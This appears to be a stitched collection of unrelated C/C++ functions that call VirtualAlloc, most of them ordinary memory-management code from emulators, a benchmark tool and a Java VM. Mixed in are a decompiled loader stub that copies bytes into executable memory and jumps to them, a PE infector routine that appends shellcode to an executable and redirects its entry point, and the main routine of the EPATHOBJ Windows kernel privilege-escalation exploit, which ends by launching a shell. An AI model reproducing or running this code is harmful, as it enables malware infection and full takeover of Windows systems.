bool VirtualMemoryManager::PageFault(void *ptr) { if(!inited) return false; LockMut(vmemMutex); // check that the address is within the virtual address bounds if((DWORD)ptr < baseAddress || (DWORD)ptr >= baseAddress + (totalPages * pageSize)) { if(LOG) { LOG->Trace("Vmem error: Page fault outside virtual memory bounds"); LOG->Trace("Address: %u, bounds: %u to %u", (DWORD)ptr, baseAddress, baseAddress + (totalPages * pageSize)); } return false; } // find the page segment that the fault occurred unsigned long offset = (DWORD)ptr - baseAddress; unsigned long pageIndex = offset / pageSize; unsigned long startPage = pages[pageIndex].headPage; if(startPage == -1) { if(LOG) LOG->Trace("VMem error: Trying to access memory that wasn't allocated"); // trying to access memory that wasn't allocated return false; } if(pages[startPage].committed) { if(LOG && logging) LOG->Trace("Pages appear to be committed already. Doing nothing..."); return true; } pageLRU = (startPage + pages[startPage].sizeInPages) % totalPages; if(LOG && logging) LOG->Trace("Reallocating pages %u to %u", startPage, startPage + pages[startPage].sizeInPages - 1); DWORD ret = (DWORD)VirtualAlloc((LPVOID)pages[startPage].startAddress, pages[startPage].sizeInBytes, MEM_COMMIT, PAGE_READWRITE); while(ret == NULL) { bool swappedOut = DecommitLRU(); if(!swappedOut) { if(LOG) LOG->Trace("VMem error: no pages left to swap out while reallocating"); return false; } ret = (DWORD)VirtualAlloc((LPVOID)pages[startPage].startAddress, pages[startPage].sizeInBytes, MEM_COMMIT, PAGE_READWRITE); } for(unsigned long i = startPage; i < startPage + pages[startPage].sizeInPages; i++) { pages[i].committed = true; pages[i].pageFaults++; } DWORD numRead; SetFilePointer(vmemFile, pages[startPage].startAddress - baseAddress, 0, FILE_BEGIN); ReadFile(vmemFile, (void *)pages[startPage].startAddress, pages[startPage].sizeInBytes, &numRead, NULL); return true; }
static void *uae_vm_alloc_with_flags(uae_u32 size, int flags, int protect) { void *address = NULL; uae_log("VM: Allocate 0x%-8x bytes [%d] (%s)\n", size, flags, protect_description(protect)); #ifdef _WIN32 int va_type = MEM_COMMIT | MEM_RESERVE; if (flags & UAE_VM_WRITE_WATCH) { va_type |= MEM_WRITE_WATCH; } int va_protect = protect_to_native(protect); #ifdef CPU_64_BIT if (flags & UAE_VM_32BIT) { /* Stupid algorithm to find available space, but should * work well enough when there is not a lot of allocations. */ uae_u8 *p = (uae_u8 *) 0x50000000; while (address == NULL) { if (p >= (void*) 0x60000000) { break; } address = VirtualAlloc(p, size, va_type, va_protect); p += uae_vm_page_size(); } } #endif if (!address) { address = VirtualAlloc(NULL, size, va_type, va_protect); } #else //size = size < uae_vm_page_size() ? uae_vm_page_size() : size; int mmap_flags = MAP_PRIVATE | MAP_ANON; int mmap_prot = protect_to_native(protect); #ifdef CPU_64_BIT if (flags & UAE_VM_32BIT) { #ifdef HAVE_MAP_32BIT mmap_flags |= MAP_32BIT; #else /* Stupid algorithm to find available space, but should * work well enough when there is not a lot of allocations. */ uae_u8 *p = natmem_offset - 0x10000000; uae_u8 *p_end = p + 0x10000000; while (address == NULL) { if (p >= p_end) { break; } printf("%p\n", p); address = mmap(p, size, mmap_prot, mmap_flags, -1, 0); /* FIXME: check 32-bit result */ if (address == MAP_FAILED) { address = NULL; } p += uae_vm_page_size(); } #endif } #endif if (address == NULL) { address = mmap(0, size, mmap_prot, mmap_flags, -1, 0); if (address == MAP_FAILED) { address = NULL; } } #endif if (address == NULL) { uae_log("VM: uae_vm_alloc(%u, %d, %d) mmap failed (%d)\n", size, flags, protect, errno); return NULL; } #ifdef TRACK_ALLOCATIONS add_allocation(address, size); #endif uae_log("VM: %p\n", address); return address; }
// // Setting access specifications for next test. // Note that Iometer will call Set_Access before testing starts to ensure that // Dynamo can run the spec with the largest transfer request. // BOOL Manager::Set_Access( int target, const Test_Spec *spec ) { int g; // loop control variable // Recursively assign all workers the same access specification. if ( target == ALL_WORKERS ) { cout << "All workers running Access Spec: " << spec->name << endl; for ( g = 0; g < grunt_count; g++ ) { if ( !Set_Access( g, spec ) ) return FALSE; } return TRUE; } cout << "Worker " << target << " running Access Spec: " << spec->name << endl; // If the grunt could not set the access spec properly, return. // The grunt may not have been able to grow its data buffer. if ( !grunts[target]->Set_Access( spec ) ) return FALSE; // If the grunt is not using the manager's data buffer or the manager's // buffer is already large enough, just return. if ( grunts[target]->data_size || data_size >= grunts[target]->access_spec.max_transfer ) { return TRUE; } // Grow the manager's data buffer and update all grunts using it. #if _DEBUG cout << "Growing manager data buffer from " << data_size << " to " << grunts[target]->access_spec.max_transfer << endl << flush; #endif // Align all data transfers on a page boundary. This will work for all disks // with sector sizes that divide evenly into the page size - which is always // the case. #if defined (_WIN32) || defined (_WIN64) VirtualFree( data, 0, MEM_RELEASE ); if ( !(data = VirtualAlloc( NULL, grunts[target]->access_spec.max_transfer, MEM_COMMIT, PAGE_READWRITE )) ) #else // UNIX free(data); errno = 0; if ( !(data = valloc(grunts[target]->access_spec.max_transfer) )) #endif { // Could not allocate a larger buffer. Signal failure. cout << "*** Manager could not allocate data buffer for I/O transfers." << endl << flush; data_size = 0; return FALSE; } data_size = grunts[target]->access_spec.max_transfer; // Update all grunts using the manager's data buffer. for ( g = 0; g < grunt_count; g++ ) { if ( !grunts[g]->data_size ) grunts[g]->data = data; } return TRUE; }
void os_commit (void* ptr, size_t bytes) { VirtualAlloc(ptr,bytes,MEM_COMMIT,PAGE_READWRITE); }
word32 fn1310E09B() { SetErrorMode(0x5C000000); ADVAPI32.dll!WmiReceiveNotificationsA(); GetStartupInfoA(fp + 0xFFFFFD6C); ADVAPI32.dll!WmiSetSingleInstanceW(); Eq_63 * eax_36 = SafeArrayGetUBound(null, 0x0006C000, (LONG *) 0x00012C00); if (eax_36 != (Eq_63 *) 0xFC110199 && eax_36 + 0x80010332 == eax_36 + 0xFFFD0199) { word32 ebx_303 = eax_36->dw9309E6A9; fn1310E000(fp + 0xFFFFFDC4, fp + 0xFFFFFDC4, 0x00000004, fp - 0x00000010, 0x00000000, fp + 0xFFFFFDCC); word32 edi_328 = eax_36->dw9309E6AD; fn1310E000(fp + 0xFFFFFDA8, fp + 0xFFFFFDA4, 0x00000004, fp - 0x00000010, 0x00000004, fp + 0xFFFFFDCC); ui32 edi_351 = eax_36->dw9309E6B1; fn1310E000(fp - 0x00000014, fp - 0x0000001C, 0x00000004, fp - 0x00000010, 0x00000008, fp + 0xFFFFFDCC); Eq_138 eax_378 = GetModuleHandleA(0x00000000); word32 eax_386 = eax_36->dw9309E6B5; fn1310E000(fp - 0x0000001C, fp - 0x00000028, 0x00000004, fp - 0x00000010, 0x0000000C, fp + 0xFFFFFDCC); dwLoc0248 = eax_36->dw9309E6B9; fn1310E000(fp + 0xFFFFFDB8, fp + 0xFFFFFDA8, 0x00000004, fp - 0x00000010, 0x00000010, fp + 0xFFFFFDCC); word32 eax_449 = edi_351 * 0x00000008 + 0x0000000C; dwLoc0258 = edi_328; dwLoc14 = edi_351; dwLoc20 = eax_378; dwLoc024C = 0x00000014; dwLoc24 = eax_36 + 0x9309E6BD; dwLoc2C = eax_449; dwLoc0260 = VirtualAlloc(0x00000000, eax_449 + edi_328 + ebx_303, 0x00003000, 0x00000040); dwLoc0C = eax_386 + eax_378 + eax_449; dwLoc0264 = eax_449; dwLoc08 = 0x00000000; dwLoc18 = 0x00000000; goto l1310E32A; } l1310E32A: while (0x00000001 != 0x00000000) { if (dwLoc0264 == dwLoc0248) { ui32 edx_221 = dwLoc08 + 0x00000001; dwLoc08 = edx_221; if (edx_221 == dwLoc14) goto l1310E45A; word32 edx_227 = dwLoc24->dw0000; fn1310E000(fp - 0x0000001C, fp - 0x0000001C - dwLoc024C, 0x00000004, fp - 0x00000010, dwLoc024C, fp + 0xFFFFFDCC); Eq_253 * esi_257 = &dwLoc24->t0004; word32 ebx_254 = dwLoc024C + 0x00000004; dwLoc0248 = esi_257->dw0000; fn1310E000(fp + 0xFFFFFDB8, fp + 0xFFFFFDB8 - ebx_254, 0x00000004, fp - 0x00000010, ebx_254, fp + 0xFFFFFDCC); dwLoc024C = ebx_254 + 0x00000004; dwLoc24 = esi_257 + 0x00000004; dwLoc0264 = 0x00000000; dwLoc0C = edx_227 + dwLoc20; goto l1310E415; } l1310E415: dwLoc0260->b0000 = dwLoc0C->b0000; dwLoc0C = dwLoc0C + 1; dwLoc18 = dwLoc18 + 0x00000001; dwLoc0264 = dwLoc0264 + 0x00000001; } l1310E45A: word32 eax_147 = fn1310E000(dwLoc0260, dwLoc0260 - dwLoc2C, dwLoc0258, fp + 0xFFFFFDC8, dwLoc2C, fp + 0xFFFFFDCC); (dwLoc0260 + 0x00000F50)(); return eax_147; }
void AddSection(void* lpModule, unsigned long ulModule, unsigned long ulRawSize) { PIMAGE_DOS_HEADER lpDos = (PIMAGE_DOS_HEADER)(lpModule); PIMAGE_NT_HEADERS lpNt = (PIMAGE_NT_HEADERS)((unsigned long)lpDos + lpDos->e_lfanew); if (lpNt->Signature == IMAGE_NT_SIGNATURE) { unsigned long ulNewImageSize = ulModule + CalculateBoundary(lpNt->OptionalHeader.FileAlignment, ulRawSize); if (ulNewImageSize) { void * lpNewBase = VirtualAlloc(NULL,ulNewImageSize,MEM_COMMIT|MEM_RESERVE,0x40); if (lpNewBase) { PIMAGE_SECTION_HEADER lpLastSection = (PIMAGE_SECTION_HEADER)((unsigned long)lpNewBase + lpDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + ((lpNt->FileHeader.NumberOfSections-1)*40)); PIMAGE_SECTION_HEADER lpNewSection = (PIMAGE_SECTION_HEADER)((unsigned long)lpLastSection + sizeof(IMAGE_SECTION_HEADER)); unsigned long ulEOF = 0; unsigned long ulCheckSum = 0; unsigned long ulOldCheckSum = 0; unsigned long ulEntryPoint = 0; unsigned long ulOffset = 0; lpNt = (PIMAGE_NT_HEADERS)((unsigned long)lpNewBase+ lpDos->e_lfanew); RtlSecureZeroMemory(lpNewBase,ulNewImageSize); m_memcpy(lpNewBase,lpModule,ulModule); m_memcpy(&lpNewSection->Name, ".stdio", strlen(".stdio")); lpNewSection->SizeOfRawData = CalculateBoundary(lpNt->OptionalHeader.FileAlignment,ulRawSize); lpNewSection->PointerToRawData = CalculateBoundary(lpNt->OptionalHeader.FileAlignment, lpLastSection->PointerToRawData + lpLastSection->SizeOfRawData); lpNewSection->VirtualAddress = CalculateBoundary(lpNt->OptionalHeader.SectionAlignment, lpLastSection->VirtualAddress + lpLastSection->Misc.VirtualSize); lpNewSection->Characteristics = (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ); lpNewSection->Misc.VirtualSize = ulRawSize; lpNt->FileHeader.NumberOfSections++; lpNt->OptionalHeader.SizeOfImage = CalculateBoundary(lpNt->OptionalHeader.SectionAlignment, lpNewSection->VirtualAddress + ulRawSize); ulEntryPoint = lpNt->OptionalHeader.AddressOfEntryPoint; m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData), ucCallCode, sizeof(ucCallCode)); ulOffset = ulEntryPoint - (lpNewSection->VirtualAddress + sizeof(ucCallCode)) - 5; m_memcpy(&ucJMP[1],&ulOffset, sizeof(unsigned long)); m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData + sizeof(ucCallCode)), ucJMP,sizeof(ucJMP)); m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData + sizeof(ucCallCode) + sizeof(ucJMP)), ucShellCode, sizeof(ucShellCode)); if (ulEOF = GetEOFSize(lpLastSection, ulModule)) { m_memcpy((void*)((unsigned long)lpNewBase + lpNewSection->PointerToRawData + lpNewSection->SizeOfRawData), (void*)((unsigned long)lpModule + (lpLastSection->PointerToRawData + lpLastSection->SizeOfRawData)), ulEOF); } lpNt->OptionalHeader.AddressOfEntryPoint = (lpNewSection->VirtualAddress); if (CheckSumMappedFile(lpNewBase,ulNewImageSize, &ulOldCheckSum, &ulCheckSum)) { lpNt->OptionalHeader.CheckSum = ulCheckSum; } if (WriteFileBuffer("NTTITON.exe",lpNewBase,ulNewImageSize)) { printf("Had to add section.... no codecaves were available FUUUUCK\n"); } VirtualFree(lpNewBase,ulNewImageSize,MEM_RELEASE); } } } }
static bool Memory_TryBase(u32 flags) { // OK, we know where to find free space. Now grab it! // We just mimic the popular BAT setup. #if defined(_XBOX) void *ptr; #elif !defined(__SYMBIAN32__) size_t position = 0; size_t last_position = 0; #endif // Zero all the pointers to be sure. for (int i = 0; i < num_views; i++) { if (views[i].out_ptr_low) *views[i].out_ptr_low = 0; if (views[i].out_ptr) *views[i].out_ptr = 0; } int i; for (i = 0; i < num_views; i++) { const MemoryView &view = views[i]; if (view.size == 0) continue; SKIP(flags, view.flags); #ifdef __SYMBIAN32__ if (!CanIgnoreView(view)) { *(view.out_ptr_low) = (u8*)(base + view.virtual_address); memmap->Commit(view.virtual_address & MEMVIEW32_MASK, view.size); } *(view.out_ptr) = (u8*)base + (view.virtual_address & MEMVIEW32_MASK); #elif defined(_XBOX) if (!CanIgnoreView(view)) { *(view.out_ptr_low) = (u8*)(base + view.virtual_address); ptr = VirtualAlloc(base + (view.virtual_address & MEMVIEW32_MASK), view.size, MEM_COMMIT, PAGE_READWRITE); } *(view.out_ptr) = (u8*)base + (view.virtual_address & MEMVIEW32_MASK); #else if (view.flags & MV_MIRROR_PREVIOUS) { position = last_position; } else { *(view.out_ptr_low) = (u8*)g_arena.CreateView(position, view.size); if (!*view.out_ptr_low) goto bail; } #ifdef _M_X64 *view.out_ptr = (u8*)g_arena.CreateView( position, view.size, base + view.virtual_address); #else if (CanIgnoreView(view)) { // No need to create multiple identical views. *view.out_ptr = *views[i - 1].out_ptr; } else { *view.out_ptr = (u8*)g_arena.CreateView( position, view.size, base + (view.virtual_address & MEMVIEW32_MASK)); if (!*view.out_ptr) goto bail; } #endif last_position = position; position += g_arena.roundup(view.size); #endif } return true; #if !defined(_XBOX) && !defined(__SYMBIAN32__) bail: // Argh! ERROR! Free what we grabbed so far so we can try again. for (int j = 0; j <= i; j++) { if (views[i].size == 0) continue; SKIP(flags, views[i].flags); if (views[j].out_ptr_low && *views[j].out_ptr_low) { g_arena.ReleaseView(*views[j].out_ptr_low, views[j].size); *views[j].out_ptr_low = NULL; } if (*views[j].out_ptr) { if (!CanIgnoreView(views[j])) { g_arena.ReleaseView(*views[j].out_ptr, views[j].size); } *views[j].out_ptr = NULL; } } return false; #endif }
bool Memory_Init() { gRamSize = kMaximumMemSize; #ifdef DAED_USE_VIRTUAL_ALLOC gMemBase = VirtualAlloc(0, 512*1024*1024, MEM_RESERVE, PAGE_READWRITE); if (gMemBase == NULL) { return false; } uintptr_t base = reinterpret_cast<uintptr_t>(gMemBase); g_pMemoryBuffers[ MEM_RD_RAM ] = (u8*)VirtualAlloc( (void*)(base+0x00000000), 8*1024*1024,MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_SP_MEM ] = (u8*)VirtualAlloc( (void*)(base+0x04000000), 0x2000, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_RD_REG0 ] = (u8*)VirtualAlloc( (void*)(base+0x03F00000), 0x30, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_SP_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04040000), 0x20, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_SP_PC_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04080000), 0x08, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_DPC_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04100000), 0x20, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_MI_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04300000), 0x10, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_VI_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04400000), 0x38, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_AI_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04500000), 0x18, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_PI_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04600000), 0x34, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_RI_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04700000), 0x20, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_SI_REG ] = (u8*)VirtualAlloc( (void*)(base+0x04800000), 0x1C, MEM_COMMIT, PAGE_READWRITE ); //cartDom2 = (u8*)VirtualAlloc( (void*)(base+0x05000000), 0x10000, MEM_COMMIT, PAGE_READWRITE ); //cartDom1 = (u8*)VirtualAlloc( (void*)(base+0x06000000), 0x10000, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_SAVE ] = (u8*)VirtualAlloc( (void*)(base+0x08000000), 0x20000, MEM_COMMIT, PAGE_READWRITE ); //g_pMemoryBuffers[MEM_CARTROM ] = (u8*)VirtualAlloc( (void*)(base+0x10000000), cart_size, MEM_COMMIT, PAGE_READWRITE); g_pMemoryBuffers[ MEM_PIF_RAM ] = (u8*)VirtualAlloc( (void*)(base+0x1FC00000), 0x40, MEM_COMMIT, PAGE_READWRITE ); //cartDom4 = (u8*)VirtualAlloc( (void*)(base+0x1FD00000), 0x10000, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_MEMPACK ] = (u8*)VirtualAlloc( NULL, 0x20000, MEM_COMMIT, PAGE_READWRITE ); g_pMemoryBuffers[ MEM_UNUSED ] = new u8[ MemoryRegionSizes[MEM_UNUSED] ]; #else //u32 count = 0; for (u32 m = 0; m < NUM_MEM_BUFFERS; m++) { u32 region_size = MemoryRegionSizes[m]; // Skip zero sized areas. An example of this is the cart rom if (region_size > 0) { //count+=region_size; g_pMemoryBuffers[m] = new u8[region_size]; //g_pMemoryBuffers[m] = Memory_AllocRegion(region_size); if (g_pMemoryBuffers[m] == NULL) { return false; } // Necessary? memset(g_pMemoryBuffers[m], 0, region_size); /*if (region_size < 0x100) // dirty, check if this is a I/O range { g_pMemoryBuffers[m] = MAKE_UNCACHED_PTR(g_pMemoryBuffers[m]); }*/ } } //printf("%d bytes used of memory\n",count); #endif g_pu8RamBase_8000 = ((u8*)g_pMemoryBuffers[MEM_RD_RAM]) - 0x80000000; //g_pu8RamBase_A000 = ((u8*)g_pMemoryBuffers[MEM_RD_RAM]) - 0xa0000000; //g_pu8RamBase_A000 = ((u8*)MAKE_UNCACHED_PTR(g_pMemoryBuffers[MEM_RD_RAM])) - 0xa0000000; g_RomWritten = false; Memory_InitTables(); return true; }
int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; HMODULE KernelHandle; PULONG DispatchRedirect; PULONG Interval; ULONG SavedInterval; RTL_PROCESS_MODULES ModuleInfo; LogMessage(L_INFO, "\r--------------------------------------------------\n" "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n" "\n"); NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); Mutex = CreateMutex(NULL, FALSE, NULL); DispatchRedirect = (PVOID) HalDispatchRedirect; Interval = (PULONG) ShellCode; SavedInterval = Interval[0]; TargetPid = GetCurrentProcessId(); LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile); LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation); // Lookup the address of system modules. NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p", ModuleInfo.Modules[0].FullPathName, ModuleInfo.Modules[0].ImageBase); // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); // Now we need to create a PATHRECORD at an address that is also a valid // x86 instruction, because the pointer will be interpreted as a function. // I've created a list of candidates in DispatchRedirect. LogMessage(L_INFO, "Searching for an available stub address..."); // I need to map at least two pages to guarantee the whole structure is // available. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1), GetLastError()); // This page is not available, try the next candidate. if (!*++DispatchRedirect) { LogMessage(L_ERROR, "No redirect candidates left, sorry!"); return 1; } } LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect); // This PATHRECORD must terminate the list and recover. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; ExploitRecordExit->next = NULL; ExploitRecordExit->prev = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags); // This is the second stage PATHRECORD, which causes a fresh PATHRECORD // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will // be copied over to the new record. Therefore, we get // // nt!HalDispatchTable[1] = &ExploitRecordExit. // // So we make &ExploitRecordExit a valid sequence of instuctions here. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord); ExploitRecord.next = (PPATHRECORD) *DispatchRedirect; ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1]; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags); LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); // Get a handle to this Desktop. Device = GetDC(NULL); // Take ownership of Mutex WaitForSingleObject(Mutex, INFINITE); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // Test if exploitation succeeded. NtQueryIntervalProfile(ProfileTotalIssues, Interval); // Repair any damage. *Interval = SavedInterval; EndPath(Device); } if (Finished) { LogMessage(L_INFO, "Success, launching shell...", Finished); ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(0); } // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); // Try again... LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(1); }
/* Purpose: Commits a range of memory which was previously reserved using CVMmemMap(). The memory range may be a subset of the range returned by CVMmemMap(). The range to commit is specified by addr as the starting address of the range, and requestedSize as the size of the range in units of bytes. Returns: The starting address of the committed range is returned. The actual size of the committed range is set in *committedSize in units of bytes. Else, if failed to commit, NULL is returned and *committedSize is set to 0. Note: memory sizes must be in increments of the page size as returned by CVMmemPageSize() in units of bytes. Committed memory must be uncommitted using CVMmemDecommit() before it is unmmapped with CVMmemUnmap(). If this order is not adhered to, then the state of the committed memory will be undefined. */ void *CVMmemCommit(void *requestedAddr, size_t requestedSize, size_t *committedSize) { void *committedAddr = NULL; MEMORY_BASIC_INFORMATION mb; CVMassert(requestedSize == roundUpToGrain(requestedSize)); CVMassert(requestedAddr == (void *)roundDownToGrain((CVMAddr)requestedAddr)); if (requestedSize != 0) { committedAddr = VirtualAlloc(requestedAddr, requestedSize, MEM_COMMIT, PAGE_READWRITE); #ifdef WINCE if (committedAddr == NULL && ((DWORD)requestedAddr + requestedSize) >= ROUND_UP_32MB(requestedAddr)) { /* hitting/crossing 32MB boundary, need to break up the commit */ size_t origSize = requestedSize; void *newAddr = requestedAddr; size_t pageSize = CVMmemPageSize(); while(((DWORD)newAddr + origSize) >= ROUND_UP_32MB(newAddr)) { size_t newSize = ROUND_UP_32MB(newAddr) - (DWORD)newAddr; if (newSize >= pageSize * 2) { /* Sometimes, for whatever reason, if you * allocate right up to the 32MB boundary it returns * INVALID PARAMETER error. So, back off a page */ newSize -= pageSize; } committedAddr = VirtualAlloc(newAddr, newSize, MEM_COMMIT, PAGE_READWRITE); if (committedAddr == NULL) { break; } newAddr = (void*)((DWORD)newAddr + newSize); origSize -= newSize; } #if _WIN32_WCE < 600 while(committedAddr != NULL && origSize > 0) { /* Some residual pages to commit */ /* WinCE < 6.0 fails on commits that are too big, where too big * is some unknown value I can't seem to pin down. So just do * it a page at a time. */ committedAddr = VirtualAlloc(newAddr, pageSize, MEM_COMMIT, PAGE_READWRITE); origSize -= pageSize; newAddr = (void *)((DWORD)newAddr + pageSize); } #else if (committedAddr != NULL) { committedAddr = VirtualAlloc(newAddr, origSize, MEM_COMMIT, PAGE_READWRITE); } #endif if (committedAddr != NULL) { committedAddr = requestedAddr; } } #endif } *committedSize = (committedAddr != NULL) ? (CVMassert(committedAddr == requestedAddr), requestedSize) : 0; #ifdef WINCE if (committedAddr == NULL) { /* Must have had an error committing, attempt to decommit anything we * committed */ size_t decommittedSize; CVMmemDecommit(requestedAddr, requestedSize, &decommittedSize); } #endif #ifdef DEBUG_MMAP if (committedAddr != NULL) { CVMconsolePrintf( "CVMmemCommit: 0x%x bytes at 0x%x (request: 0x%x bytes at 0x%x)\n", *committedSize, committedAddr, requestedSize, requestedAddr); } else { CVMconsolePrintf( "CVMmemCommit failed: Error %d, (request: 0x%x bytes at 0x%x)\n", GetLastError(), requestedSize, requestedAddr); CVMconsolePrintf("CVMmemCommit: State:\n"); VirtualQuery(requestedAddr, &mb, sizeof(mb)); CVMconsolePrintf(" Base: 0x%x\n AllocBase: 0x%x\n AllocProtect: 0x%x\n Size: 0x%x\n State: 0x%x\n Protect: 0x%x\n Type: 0x%x\n", (int)mb.BaseAddress, mb.AllocationBase, mb.AllocationProtect, mb.RegionSize, mb.State, mb.Protect, mb.Type); } #endif return committedAddr; }
extern void* CVMmemalignAlloc(size_t alignment, size_t size) { CVMassert(alignment == WIN32_VIRTUAL_ALLOC_ALIGNMENT); return VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); }
